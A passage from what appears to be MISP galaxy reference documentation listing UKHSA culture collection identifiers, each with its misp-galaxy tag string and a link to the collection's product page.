https://www.culturecollections.org.uk/nop/product/242-blcl

THA

The tag is: *misp-galaxy:ukhsa-culture-collections="THA"*

Table 31532. Table References

Links
https://www.culturecollections.org.uk/nop/product/tha

V.E.C.

The tag is: *misp-galaxy:ukhsa-culture-collections="V.E.C."*

Table 31533. Table References

Links
https://www.culturecollections.org.uk/nop/product/vec

FJO

The tag is: *misp-galaxy:ukhsa-culture-collections="FJO"*

Table 31534. Table References

Links
https://www.culturecollections.org.uk/nop/product/fjo

DOP-ND

The tag is: *misp-galaxy:ukhsa-culture-collections="DOP-ND"*

Table 31535. Table References

Links
https://www.culturecollections.org.uk/nop/product/dop-nd

JAP-NF

The tag is: *misp-galaxy:ukhsa-culture-collections="JAP-NF"*

Table 31536. Table References

Links
https://www.culturecollections.org.uk/nop/product/jap-nf

RSA-ND

The tag is: *misp-galaxy:ukhsa-culture-collections="RSA-ND"*

Table 31537. Table References

Links
https://www.culturecollections.org.uk/nop/product/rsa-nd

HOM-2

The tag is: *misp-galaxy:ukhsa-culture-collections="HOM-2"*

Table 31538. Table References

Links
https://www.culturecollections.org.uk/nop/product/hom-2

BAI,JE

The tag is: *misp-galaxy:ukhsa-culture-collections="BAI,JE"*

Table 31539. Table References

Links
https://www.culturecollections.org.uk/nop/product/baije

BAI,NJ

The tag is: *misp-galaxy:ukhsa-culture-collections="BAI,NJ"*

Table 31540. Table References

Links
https://www.culturecollections.org.uk/nop/product/bainj

BAT,J

The tag is: *misp-galaxy:ukhsa-culture-collections="BAT,J"*

Table 31541. Table References

Links
https://www.culturecollections.org.uk/nop/product/batj

BOW,MF

The tag is: *misp-galaxy:ukhsa-culture-collections="BOW,MF"*

Table 31542. Table References

Links
https://www.culturecollections.org.uk/nop/product/bowmf

BRO,LJ

The tag is: *misp-galaxy:ukhsa-culture-collections="BRO,LJ"*

Table 31543. Table References

Links
https://www.culturecollections.org.uk/nop/product/brolj

BYD, A

The tag is: *misp-galaxy:ukhsa-culture-collections="BYD, A"*

Table 31544. Table References

Links
https://www.culturecollections.org.uk/nop/product/byd-a

CAR,ML

The tag is: *misp-galaxy:ukhsa-culture-collections="CAR,ML"*

Table 31545. Table References

Links
https://www.culturecollections.org.uk/nop/product/carml

DCH002

The tag is: *misp-galaxy:ukhsa-culture-collections="DCH002"*

Table 31546. Table References

Links
https://www.culturecollections.org.uk/nop/product/dch002

DJU,S

The tag is: *misp-galaxy:ukhsa-culture-collections="DJU,S"*

Table 31547. Table References

Links
https://www.culturecollections.org.uk/nop/product/djus

HIN,R

The tag is: *misp-galaxy:ukhsa-culture-collections="HIN,R"*

Table 31548. Table References

Links
https://www.culturecollections.org.uk/nop/product/hinr

LO541265

The tag is: *misp-galaxy:ukhsa-culture-collections="LO541265"*

Table 31549. Table References

Links
https://www.culturecollections.org.uk/nop/product/lo541265

NAI031

The tag is: *misp-galaxy:ukhsa-culture-collections="NAI031"*

Table 31550. Table References

Links
https://www.culturecollections.org.uk/nop/product/nai031

NON,L

The tag is: *misp-galaxy:ukhsa-culture-collections="NON,L"*

Table 31551. Table References

Links
https://www.culturecollections.org.uk/nop/product/nonl

REE,GD

The tag is: *misp-galaxy:ukhsa-culture-collections="REE,GD"*

Table 31552. Table References

Links
https://www.culturecollections.org.uk/nop/product/reegd

IBW9

The tag is: *misp-galaxy:ukhsa-culture-collections="IBW9"*

Table 31553. Table References

Links
https://www.culturecollections.org.uk/nop/product/ibw9

WT47

The tag is: *misp-galaxy:ukhsa-culture-collections="WT47"*

Table 31554. Table References

Links
https://www.culturecollections.org.uk/nop/product/wt47

HO104

The tag is: *misp-galaxy:ukhsa-culture-collections="HO104"*

Table 31555. Table References

Links
https://www.culturecollections.org.uk/nop/product/ho104

HO301

The tag is: *misp-galaxy:ukhsa-culture-collections="HO301"*

Table 31556. Table References

Links
https://www.culturecollections.org.uk/nop/product/ho301

BM16

The tag is: *misp-galaxy:ukhsa-culture-collections="BM16"*

Table 31557. Table References

Links
https://www.culturecollections.org.uk/nop/product/bm16

BM9

The tag is: *misp-galaxy:ukhsa-culture-collections="BM9"*

Table 31558. Table References

Links
https://www.culturecollections.org.uk/nop/product/bm9

HAS-15

The tag is: *misp-galaxy:ukhsa-culture-collections="HAS-15"*

Table 31559. Table References

Links
https://www.culturecollections.org.uk/nop/product/has-15

SLE005

The tag is: *misp-galaxy:ukhsa-culture-collections="SLE005"*

Table 31560. Table References

Links
https://www.culturecollections.org.uk/nop/product/sle005

TAB089

The tag is: *misp-galaxy:ukhsa-culture-collections="TAB089"*

Table 31561. Table References

Links
https://www.culturecollections.org.uk/nop/product/tab089

YI

The tag is: *misp-galaxy:ukhsa-culture-collections="YI"*

Table 31562. Table References

Links
https://www.culturecollections.org.uk/nop/product/yi

BEL6KG

The tag is: *misp-galaxy:ukhsa-culture-collections="BEL6KG"*

Table 31563. Table References

Links
https://www.culturecollections.org.uk/nop/product/bel6kg

TUBO

The tag is: *misp-galaxy:ukhsa-culture-collections="TUBO"*

Table 31564. Table References

Links
https://www.culturecollections.org.uk/nop/product/tubo

BJ

The tag is: *misp-galaxy:ukhsa-culture-collections="BJ"*

Table 31565. Table References

Links
https://www.culturecollections.org.uk/nop/product/bj

CGM1

The tag is: *misp-galaxy:ukhsa-culture-collections="CGM1"*

Table 31566. Table References

Links
https://www.culturecollections.org.uk/nop/product/cgm1

LCL721

The tag is: *misp-galaxy:ukhsa-culture-collections="LCL721"*

Table 31567. Table References

Links
https://www.culturecollections.org.uk/nop/product/lcl721

LK707

The tag is: *misp-galaxy:ukhsa-culture-collections="LK707"*

Table 31568. Table References

Links
https://www.culturecollections.org.uk/nop/product/lk707

VOO

The tag is: *misp-galaxy:ukhsa-culture-collections="VOO"*

Table 31569. Table References

Links
https://www.culturecollections.org.uk/nop/product/voo

KNE

The tag is: *misp-galaxy:ukhsa-culture-collections="KNE"*

Table 31570. Table References

Links
https://www.culturecollections.org.uk/nop/product/kne

LWAGS

The tag is: *misp-galaxy:ukhsa-culture-collections="LWAGS"*

Table 31571. Table References

Links
https://www.culturecollections.org.uk/nop/product/lwags

MGAR

The tag is: *misp-galaxy:ukhsa-culture-collections="MGAR"*

Table 31572. Table References

Links
https://www.culturecollections.org.uk/nop/product/mgar

EA

The tag is: *misp-galaxy:ukhsa-culture-collections="EA"*

Table 31573. Table References

Links
https://www.culturecollections.org.uk/nop/product/ea

HOR

The tag is: *misp-galaxy:ukhsa-culture-collections="HOR"*

Table 31574. Table References

Links
https://www.culturecollections.org.uk/nop/product/hor

CTM1953541

The tag is: *misp-galaxy:ukhsa-culture-collections="CTM1953541"*

Table 31575. Table References

Links
https://www.culturecollections.org.uk/nop/product/ctm1953541

TL

The tag is: *misp-galaxy:ukhsa-culture-collections="TL"*

Table 31576. Table References

Links
https://www.culturecollections.org.uk/nop/product/tl

40 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="40 BLCL"*

Table 31577. Table References

Links
https://www.culturecollections.org.uk/nop/product/40-blcl

49 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="49 BLCL"*

Table 31578. Table References

Links
https://www.culturecollections.org.uk/nop/product/49-blcl

88 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="88 BLCL"*

Table 31579. Table References

Links
https://www.culturecollections.org.uk/nop/product/88-blcl

220 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="220 BLCL"*

Table 31580. Table References

Links
https://www.culturecollections.org.uk/nop/product/220-blcl

126 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="126 BLCL"*

Table 31581. Table References

Links
https://www.culturecollections.org.uk/nop/product/126-blcl

IHL,AD036

The tag is: *misp-galaxy:ukhsa-culture-collections="IHL,AD036"*

Table 31582. Table References

Links
https://www.culturecollections.org.uk/nop/product/ihlad036

205 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="205 BLCL"*

Table 31583. Table References

Links
https://www.culturecollections.org.uk/nop/product/205-blcl

160 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="160 BLCL"*

Table 31584. Table References

Links
https://www.culturecollections.org.uk/nop/product/160-blcl

194 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="194 BLCL"*

Table 31585. Table References

Links
https://www.culturecollections.org.uk/nop/product/194-blcl

130 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="130 BLCL"*

Table 31586. Table References

Links
https://www.culturecollections.org.uk/nop/product/130-blcl

71 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="71 BLCL"*

Table 31587. Table References

Links
https://www.culturecollections.org.uk/nop/product/71-blcl

239 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="239 BLCL"*

Table 31588. Table References

Links
https://www.culturecollections.org.uk/nop/product/239-blcl

234 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="234 BLCL"*

Table 31589. Table References

Links
https://www.culturecollections.org.uk/nop/product/234-blcl

259 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="259 BLCL"*

Table 31590. Table References

Links
https://www.culturecollections.org.uk/nop/product/259-blcl

37 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="37 BLCL"*

Table 31591. Table References

Links
https://www.culturecollections.org.uk/nop/product/37-blcl

IDF

The tag is: *misp-galaxy:ukhsa-culture-collections="IDF"*

Table 31592. Table References

Links
https://www.culturecollections.org.uk/nop/product/idf

PGF

The tag is: *misp-galaxy:ukhsa-culture-collections="PGF"*

Table 31593. Table References

Links
https://www.culturecollections.org.uk/nop/product/pgf

MT14B

The tag is: *misp-galaxy:ukhsa-culture-collections="MT14B"*

Table 31594. Table References

Links
https://www.culturecollections.org.uk/nop/product/mt14b

T7527

The tag is: *misp-galaxy:ukhsa-culture-collections="T7527"*

Table 31595. Table References

Links
https://www.culturecollections.org.uk/nop/product/t7527

ADL, HG

The tag is: *misp-galaxy:ukhsa-culture-collections="ADL, HG"*

Table 31596. Table References

Links
https://www.culturecollections.org.uk/nop/product/adl-hg

BEA,PL

The tag is: *misp-galaxy:ukhsa-culture-collections="BEA,PL"*

Table 31597. Table References

Links
https://www.culturecollections.org.uk/nop/product/beapl

BUR,E

The tag is: *misp-galaxy:ukhsa-culture-collections="BUR,E"*

Table 31598. Table References

Links
https://www.culturecollections.org.uk/nop/product/bure

DAR,KR

The tag is: *misp-galaxy:ukhsa-culture-collections="DAR,KR"*

Table 31599. Table References

Links
https://www.culturecollections.org.uk/nop/product/darkr

DCH008

The tag is: *misp-galaxy:ukhsa-culture-collections="DCH008"*

Table 31600. Table References

Links
https://www.culturecollections.org.uk/nop/product/dch008

DCH-010

The tag is: *misp-galaxy:ukhsa-culture-collections="DCH-010"*

Table 31601. Table References

Links
https://www.culturecollections.org.uk/nop/product/dch-010

FIS,VJ

The tag is: *misp-galaxy:ukhsa-culture-collections="FIS,VJ"*

Table 31602. Table References

Links
https://www.culturecollections.org.uk/nop/product/fisvj

HIN,K

The tag is: *misp-galaxy:ukhsa-culture-collections="HIN,K"*

Table 31603. Table References

Links
https://www.culturecollections.org.uk/nop/product/hink

MER,P

The tag is: *misp-galaxy:ukhsa-culture-collections="MER,P"*

Table 31604. Table References

Links
https://www.culturecollections.org.uk/nop/product/merp

NAI026

The tag is: *misp-galaxy:ukhsa-culture-collections="NAI026"*

Table 31605. Table References

Links
https://www.culturecollections.org.uk/nop/product/nai026

THO,MA

The tag is: *misp-galaxy:ukhsa-culture-collections="THO,MA"*

Table 31606. Table References

Links
https://www.culturecollections.org.uk/nop/product/thoma

VBD234

The tag is: *misp-galaxy:ukhsa-culture-collections="VBD234"*

Table 31607. Table References

Links
https://www.culturecollections.org.uk/nop/product/vbd234

WON,M

The tag is: *misp-galaxy:ukhsa-culture-collections="WON,M"*

Table 31608. Table References

Links
https://www.culturecollections.org.uk/nop/product/wonm

WT100BIS

The tag is: *misp-galaxy:ukhsa-culture-collections="WT100BIS"*

Table 31609. Table References

Links
https://www.culturecollections.org.uk/nop/product/wt100bis

WT49

The tag is: *misp-galaxy:ukhsa-culture-collections="WT49"*

Table 31610. Table References

Links
https://www.culturecollections.org.uk/nop/product/wt49

OMW

The tag is: *misp-galaxy:ukhsa-culture-collections="OMW"*

Table 31611. Table References

Links
https://www.culturecollections.org.uk/nop/product/omw

DK1

The tag is: *misp-galaxy:ukhsa-culture-collections="DK1"*

Table 31612. Table References

Links
https://www.culturecollections.org.uk/nop/product/dk1

EHM

The tag is: *misp-galaxy:ukhsa-culture-collections="EHM"*

Table 31613. Table References

Links
https://www.culturecollections.org.uk/nop/product/ehm

HAM013

The tag is: *misp-galaxy:ukhsa-culture-collections="HAM013"*

Table 31614. Table References

Links
https://www.culturecollections.org.uk/nop/product/ham013

KOZ

The tag is: *misp-galaxy:ukhsa-culture-collections="KOZ"*

Table 31615. Table References

Links
https://www.culturecollections.org.uk/nop/product/koz

PETCH

The tag is: *misp-galaxy:ukhsa-culture-collections="PETCH"*

Table 31616. Table References

Links
https://www.culturecollections.org.uk/nop/product/petch

APD

The tag is: *misp-galaxy:ukhsa-culture-collections="APD"*

Table 31617. Table References

Links
https://www.culturecollections.org.uk/nop/product/apd

JVM

The tag is: *misp-galaxy:ukhsa-culture-collections="JVM"*

Table 31618. Table References

Links
https://www.culturecollections.org.uk/nop/product/jvm

BEL5GB

The tag is: *misp-galaxy:ukhsa-culture-collections="BEL5GB"*

Table 31619. Table References

Links
https://www.culturecollections.org.uk/nop/product/bel5gb

KOSE

The tag is: *misp-galaxy:ukhsa-culture-collections="KOSE"*

Table 31620. Table References

Links
https://www.culturecollections.org.uk/nop/product/kose

26931

The tag is: *misp-galaxy:ukhsa-culture-collections="26931"*

Table 31621. Table References

Links
https://www.culturecollections.org.uk/nop/product/26931

APA

The tag is: *misp-galaxy:ukhsa-culture-collections="APA"*

Table 31622. Table References

Links
https://www.culturecollections.org.uk/nop/product/apa

C1R

The tag is: *misp-galaxy:ukhsa-culture-collections="C1R"*

Table 31623. Table References

Links
https://www.culturecollections.org.uk/nop/product/c1r

GEE018

The tag is: *misp-galaxy:ukhsa-culture-collections="GEE018"*

Table 31624. Table References

Links
https://www.culturecollections.org.uk/nop/product/gee018

KHAGNI

The tag is: *misp-galaxy:ukhsa-culture-collections="KHAGNI"*

Table 31625. Table References

Links
https://www.culturecollections.org.uk/nop/product/khagni

KY

The tag is: *misp-galaxy:ukhsa-culture-collections="KY"*

Table 31626. Table References

Links
https://www.culturecollections.org.uk/nop/product/ky

CJO-A

The tag is: *misp-galaxy:ukhsa-culture-collections="CJO-A"*

Table 31627. Table References

Links
https://www.culturecollections.org.uk/nop/product/cjo-a

CLA

The tag is: *misp-galaxy:ukhsa-culture-collections="CLA"*

Table 31628. Table References

Links
https://www.culturecollections.org.uk/nop/product/cla

OZB

The tag is: *misp-galaxy:ukhsa-culture-collections="OZB"*

Table 31629. Table References

Links
https://www.culturecollections.org.uk/nop/product/ozb

QBL

The tag is: *misp-galaxy:ukhsa-culture-collections="QBL"*

Table 31630. Table References

Links
https://www.culturecollections.org.uk/nop/product/qbl

JBUSH

The tag is: *misp-galaxy:ukhsa-culture-collections="JBUSH"*

Table 31631. Table References

Links
https://www.culturecollections.org.uk/nop/product/jbush

PLH

The tag is: *misp-galaxy:ukhsa-culture-collections="PLH"*

Table 31632. Table References

Links
https://www.culturecollections.org.uk/nop/product/plh

YAR

The tag is: *misp-galaxy:ukhsa-culture-collections="YAR"*

Table 31633. Table References

Links
https://www.culturecollections.org.uk/nop/product/yar

HID

The tag is: *misp-galaxy:ukhsa-culture-collections="HID"*

Table 31634. Table References

Links
https://www.culturecollections.org.uk/nop/product/hid

CTM3953540

The tag is: *misp-galaxy:ukhsa-culture-collections="CTM3953540"*

Table 31635. Table References

Links
https://www.culturecollections.org.uk/nop/product/ctm3953540

225 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="225 BLCL"*

Table 31636. Table References

Links
https://www.culturecollections.org.uk/nop/product/225-blcl-2

86 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="86 BLCL"*

Table 31637. Table References

Links
https://www.culturecollections.org.uk/nop/product/86-blcl

214 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="214 BLCL"*

Table 31638. Table References

Links
https://www.culturecollections.org.uk/nop/product/214-blcl

223 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="223 BLCL"*

Table 31639. Table References

Links
https://www.culturecollections.org.uk/nop/product/223-blcl

74 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="74 BLCL"*

Table 31640. Table References

Links
https://www.culturecollections.org.uk/nop/product/74-blcl

203 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="203 BLCL"*

Table 31641. Table References

Links
https://www.culturecollections.org.uk/nop/product/203-blcl

93 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="93 BLCL"*

Table 31642. Table References

Links
https://www.culturecollections.org.uk/nop/product/93-blcl

111 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="111 BLCL"*

Table 31643. Table References

Links
https://www.culturecollections.org.uk/nop/product/111-blcl

133 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="133 BLCL"*

Table 31644. Table References

Links
https://www.culturecollections.org.uk/nop/product/133-blcl

63 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="63 BLCL"*

Table 31645. Table References

Links
https://www.culturecollections.org.uk/nop/product/63-blcl

163 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="163 BLCL"*

Table 31646. Table References

Links
https://www.culturecollections.org.uk/nop/product/163-blcl

161 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="161 BLCL"*

Table 31647. Table References

Links
https://www.culturecollections.org.uk/nop/product/161-blcl

48 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="48 BLCL"*

Table 31648. Table References

Links
https://www.culturecollections.org.uk/nop/product/48-blcl

36 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="36 BLCL"*

Table 31649. Table References

Links
https://www.culturecollections.org.uk/nop/product/36-blcl

212 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="212 BLCL"*

Table 31650. Table References

Links
https://www.culturecollections.org.uk/nop/product/212-blcl

215 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="215 BLCL"*

Table 31651. Table References

Links
https://www.culturecollections.org.uk/nop/product/215-blcl

151 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="151 BLCL"*

Table 31652. Table References

Links
https://www.culturecollections.org.uk/nop/product/151-blcl

211 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="211 BLCL"*

Table 31653. Table References

Links
https://www.culturecollections.org.uk/nop/product/211-blcl

247 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="247 BLCL"*

Table 31654. Table References

Links
https://www.culturecollections.org.uk/nop/product/247-blcl

167 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="167 BLCL"*

Table 31655. Table References

Links
https://www.culturecollections.org.uk/nop/product/167-blcl

WEWAK1

The tag is: *misp-galaxy:ukhsa-culture-collections="WEWAK1"*

Table 31656. Table References

Links
https://www.culturecollections.org.uk/nop/product/wewak1

TISI

The tag is: *misp-galaxy:ukhsa-culture-collections="TISI"*

Table 31657. Table References

Links
https://www.culturecollections.org.uk/nop/product/tisi

XLI-ND

The tag is: *misp-galaxy:ukhsa-culture-collections="XLI-ND"*

Table 31658. Table References

Links
https://www.culturecollections.org.uk/nop/product/xli-nd

AZH

The tag is: *misp-galaxy:ukhsa-culture-collections="AZH"*

Table 31659. Table References

Links
https://www.culturecollections.org.uk/nop/product/azh

CAD, KR

The tag is: *misp-galaxy:ukhsa-culture-collections="CAD, KR"*

Table 31660. Table References

Links
https://www.culturecollections.org.uk/nop/product/cad-kr

EAV,AC

The tag is: *misp-galaxy:ukhsa-culture-collections="EAV,AC"*

Table 31661. Table References

Links
https://www.culturecollections.org.uk/nop/product/eavac

PIN,LJ

The tag is: *misp-galaxy:ukhsa-culture-collections="PIN,LJ"*

Table 31662. Table References

Links
https://www.culturecollections.org.uk/nop/product/pinlj

TAI034

The tag is: *misp-galaxy:ukhsa-culture-collections="TAI034"*

Table 31663. Table References

Links
https://www.culturecollections.org.uk/nop/product/tai034

WON,C

The tag is: *misp-galaxy:ukhsa-culture-collections="WON,C"*

Table 31664. Table References

Links
https://www.culturecollections.org.uk/nop/product/wonc

PF04015

The tag is: *misp-galaxy:ukhsa-culture-collections="PF04015"*

Table 31665. Table References

Links
https://www.culturecollections.org.uk/nop/product/pf04015

PF97387

The tag is: *misp-galaxy:ukhsa-culture-collections="PF97387"*

Table 31666. Table References

Links
https://www.culturecollections.org.uk/nop/product/pf97387

BM14

The tag is: *misp-galaxy:ukhsa-culture-collections="BM14"*

Table 31667. Table References

Links
https://www.culturecollections.org.uk/nop/product/bm14

BRIP

The tag is: *misp-galaxy:ukhsa-culture-collections="BRIP"*

Table 31668. Table References

Links
https://www.culturecollections.org.uk/nop/product/brip

LS40

The tag is: *misp-galaxy:ukhsa-culture-collections="LS40"*

Table 31669. Table References

Links
https://www.culturecollections.org.uk/nop/product/ls40

BER

The tag is: *misp-galaxy:ukhsa-culture-collections="BER"*

Table 31670. Table References

Links
https://www.culturecollections.org.uk/nop/product/ber

WIN

The tag is: *misp-galaxy:ukhsa-culture-collections="WIN"*

Table 31671. Table References

Links
https://www.culturecollections.org.uk/nop/product/win

CB

The tag is: *misp-galaxy:ukhsa-culture-collections="CB"*

Table 31672. Table References

Links
https://www.culturecollections.org.uk/nop/product/cb

JS

The tag is: *misp-galaxy:ukhsa-culture-collections="JS"*

Table 31673. Table References

Links
https://www.culturecollections.org.uk/nop/product/js

KGU

The tag is: *misp-galaxy:ukhsa-culture-collections="KGU"*

Table 31674. Table References

Links
https://www.culturecollections.org.uk/nop/product/kgu

PMG075

The tag is: *misp-galaxy:ukhsa-culture-collections="PMG075"*

Table 31675. Table References

Links
https://www.culturecollections.org.uk/nop/product/pmg075

PAR

The tag is: *misp-galaxy:ukhsa-culture-collections="PAR"*

Table 31676. Table References

Links
https://www.culturecollections.org.uk/nop/product/par

C073

The tag is: *misp-galaxy:ukhsa-culture-collections="C073"*

Table 31677. Table References

Links
https://www.culturecollections.org.uk/nop/product/c073

KI

The tag is: *misp-galaxy:ukhsa-culture-collections="KI"*

Table 31678. Table References

Links
https://www.culturecollections.org.uk/nop/product/ki

SCHU

The tag is: *misp-galaxy:ukhsa-culture-collections="SCHU"*

Table 31679. Table References

Links
https://www.culturecollections.org.uk/nop/product/schu

CAM020

The tag is: *misp-galaxy:ukhsa-culture-collections="CAM020"*

Table 31680. Table References

Links
https://www.culturecollections.org.uk/nop/product/cam020

CC

The tag is: *misp-galaxy:ukhsa-culture-collections="CC"*

Table 31681. Table References

Links
https://www.culturecollections.org.uk/nop/product/cc

ELON

The tag is: *misp-galaxy:ukhsa-culture-collections="ELON"*

Table 31682. Table References

Links
https://www.culturecollections.org.uk/nop/product/elon

HS67

The tag is: *misp-galaxy:ukhsa-culture-collections="HS67"*

Table 31683. Table References

Links
https://www.culturecollections.org.uk/nop/product/hs67

HAG

The tag is: *misp-galaxy:ukhsa-culture-collections="HAG"*

Table 31684. Table References

Links
https://www.culturecollections.org.uk/nop/product/hag

PRIESS

The tag is: *misp-galaxy:ukhsa-culture-collections="PRIESS"*

Table 31685. Table References

Links
https://www.culturecollections.org.uk/nop/product/priess

STEINLIN

The tag is: *misp-galaxy:ukhsa-culture-collections="STEINLIN"*

Table 31686. Table References

Links
https://www.culturecollections.org.uk/nop/product/steinlin

ROF-NL

The tag is: *misp-galaxy:ukhsa-culture-collections="ROF-NL"*

Table 31687. Table References

Links
https://www.culturecollections.org.uk/nop/product/rof-nl

224 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="224 BLCL"*

Table 31688. Table References

Links
https://www.culturecollections.org.uk/nop/product/224-blcl

51 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="51 BLCL"*

Table 31689. Table References

Links
https://www.culturecollections.org.uk/nop/product/51-blcl

219 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="219 BLCL"*

Table 31690. Table References

Links
https://www.culturecollections.org.uk/nop/product/219-blcl

145 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="145 BLCL"*

Table 31691. Table References

Links
https://www.culturecollections.org.uk/nop/product/145-blcl

148 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="148 BLCL"*

Table 31692. Table References

Links
https://www.culturecollections.org.uk/nop/product/148-blcl

200 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="200 BLCL"*

Table 31693. Table References

Links
https://www.culturecollections.org.uk/nop/product/200-blcl

150 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="150 BLCL"*

Table 31694. Table References

Links
https://www.culturecollections.org.uk/nop/product/150-blcl

196 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="196 BLCL"*

Table 31695. Table References

Links
https://www.culturecollections.org.uk/nop/product/196-blcl

131 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="131 BLCL"*

Table 31696. Table References

Links
https://www.culturecollections.org.uk/nop/product/131-blcl

T5-1

The tag is: *misp-galaxy:ukhsa-culture-collections="T5-1"*

Table 31697. Table References

Links
https://www.culturecollections.org.uk/nop/product/t5-1

DEU

The tag is: *misp-galaxy:ukhsa-culture-collections="DEU"*

Table 31698. Table References

Links
https://www.culturecollections.org.uk/nop/product/deu

SAVC

The tag is: *misp-galaxy:ukhsa-culture-collections="SAVC"*

Table 31699. Table References

Links
https://www.culturecollections.org.uk/nop/product/savc

VAVY

The tag is: *misp-galaxy:ukhsa-culture-collections="VAVY"*

Table 31700. Table References

Links
https://www.culturecollections.org.uk/nop/product/vavy

SSTO

The tag is: *misp-galaxy:ukhsa-culture-collections="SSTO"*

Table 31701. Table References

Links
https://www.culturecollections.org.uk/nop/product/ssto

LD2B

The tag is: *misp-galaxy:ukhsa-culture-collections="LD2B"*

Table 31702. Table References

Links
https://www.culturecollections.org.uk/nop/product/ld2b

COL,E

The tag is: *misp-galaxy:ukhsa-culture-collections="COL,E"*

Table 31703. Table References

Links
https://www.culturecollections.org.uk/nop/product/cole

COL,S

The tag is: *misp-galaxy:ukhsa-culture-collections="COL,S"*

Table 31704. Table References

Links
https://www.culturecollections.org.uk/nop/product/cols

DAR,E

The tag is: *misp-galaxy:ukhsa-culture-collections="DAR,E"*

Table 31705. Table References

Links
https://www.culturecollections.org.uk/nop/product/dare

DCH-011

The tag is: *misp-galaxy:ukhsa-culture-collections="DCH-011"*

Table 31706. Table References

Links
https://www.culturecollections.org.uk/nop/product/dch-011

DCH-012

The tag is: *misp-galaxy:ukhsa-culture-collections="DCH-012"*

Table 31707. Table References

Links
https://www.culturecollections.org.uk/nop/product/dch-012

DRI,SM

The tag is: *misp-galaxy:ukhsa-culture-collections="DRI,SM"*

Table 31708. Table References

Links
https://www.culturecollections.org.uk/nop/product/drism

HIN,JP

The tag is: *misp-galaxy:ukhsa-culture-collections="HIN,JP"*

Table 31709. Table References

Links
https://www.culturecollections.org.uk/nop/product/hin-jp

IHL,AD031

The tag is: *misp-galaxy:ukhsa-culture-collections="IHL,AD031"*

Table 31710. Table References

Links
https://www.culturecollections.org.uk/nop/product/ihlad031

MIN

The tag is: *misp-galaxy:ukhsa-culture-collections="MIN"*

Table 31711. Table References

Links
https://www.culturecollections.org.uk/nop/product/min

NAI006

The tag is: *misp-galaxy:ukhsa-culture-collections="NAI006"*

Table 31712. Table References

Links
https://www.culturecollections.org.uk/nop/product/nai006

SPE,G

The tag is: *misp-galaxy:ukhsa-culture-collections="SPE,G"*

Table 31713. Table References

Links
https://www.culturecollections.org.uk/nop/product/speg

WBD001816

The tag is: *misp-galaxy:ukhsa-culture-collections="WBD001816"*

Table 31714. Table References

Links
https://www.culturecollections.org.uk/nop/product/wbd001816

WT51

The tag is: *misp-galaxy:ukhsa-culture-collections="WT51"*

Table 31715. Table References

Links
https://www.culturecollections.org.uk/nop/product/wt51

BM15

The tag is: *misp-galaxy:ukhsa-culture-collections="BM15"*

Table 31716. Table References

Links
https://www.culturecollections.org.uk/nop/product/bm15

BM21

The tag is: *misp-galaxy:ukhsa-culture-collections="BM21"*

Table 31717. Table References

Links
https://www.culturecollections.org.uk/nop/product/bm21

HAM014

The tag is: *misp-galaxy:ukhsa-culture-collections="HAM014"*

Table 31718. Table References

Links
https://www.culturecollections.org.uk/nop/product/ham014

EC

The tag is: *misp-galaxy:ukhsa-culture-collections="EC"*

Table 31719. Table References

Links
https://www.culturecollections.org.uk/nop/product/ec

PMH161

The tag is: *misp-galaxy:ukhsa-culture-collections="PMH161"*

Table 31720. Table References

Links
https://www.culturecollections.org.uk/nop/product/pmh161

KAS116

The tag is: *misp-galaxy:ukhsa-culture-collections="KAS116"*

Table 31721. Table References

Links
https://www.culturecollections.org.uk/nop/product/kas116

KASOII

The tag is: *misp-galaxy:ukhsa-culture-collections="KASOII"*

Table 31722. Table References

Links
https://www.culturecollections.org.uk/nop/product/kasoii

BSM

The tag is: *misp-galaxy:ukhsa-culture-collections="BSM"*

Table 31723. Table References

Links
https://www.culturecollections.org.uk/nop/product/bsm

FORE

The tag is: *misp-galaxy:ukhsa-culture-collections="FORE"*

Table 31724. Table References

Links
https://www.culturecollections.org.uk/nop/product/fore

MARMarg

The tag is: *misp-galaxy:ukhsa-culture-collections="MARMarg"*

Table 31725. Table References

Links
https://www.culturecollections.org.uk/nop/product/marmarg

31708

The tag is: *misp-galaxy:ukhsa-culture-collections="31708"*

Table 31726. Table References

Links
https://www.culturecollections.org.uk/nop/product/31708

32367

The tag is: *misp-galaxy:ukhsa-culture-collections="32367"*

Table 31727. Table References

Links
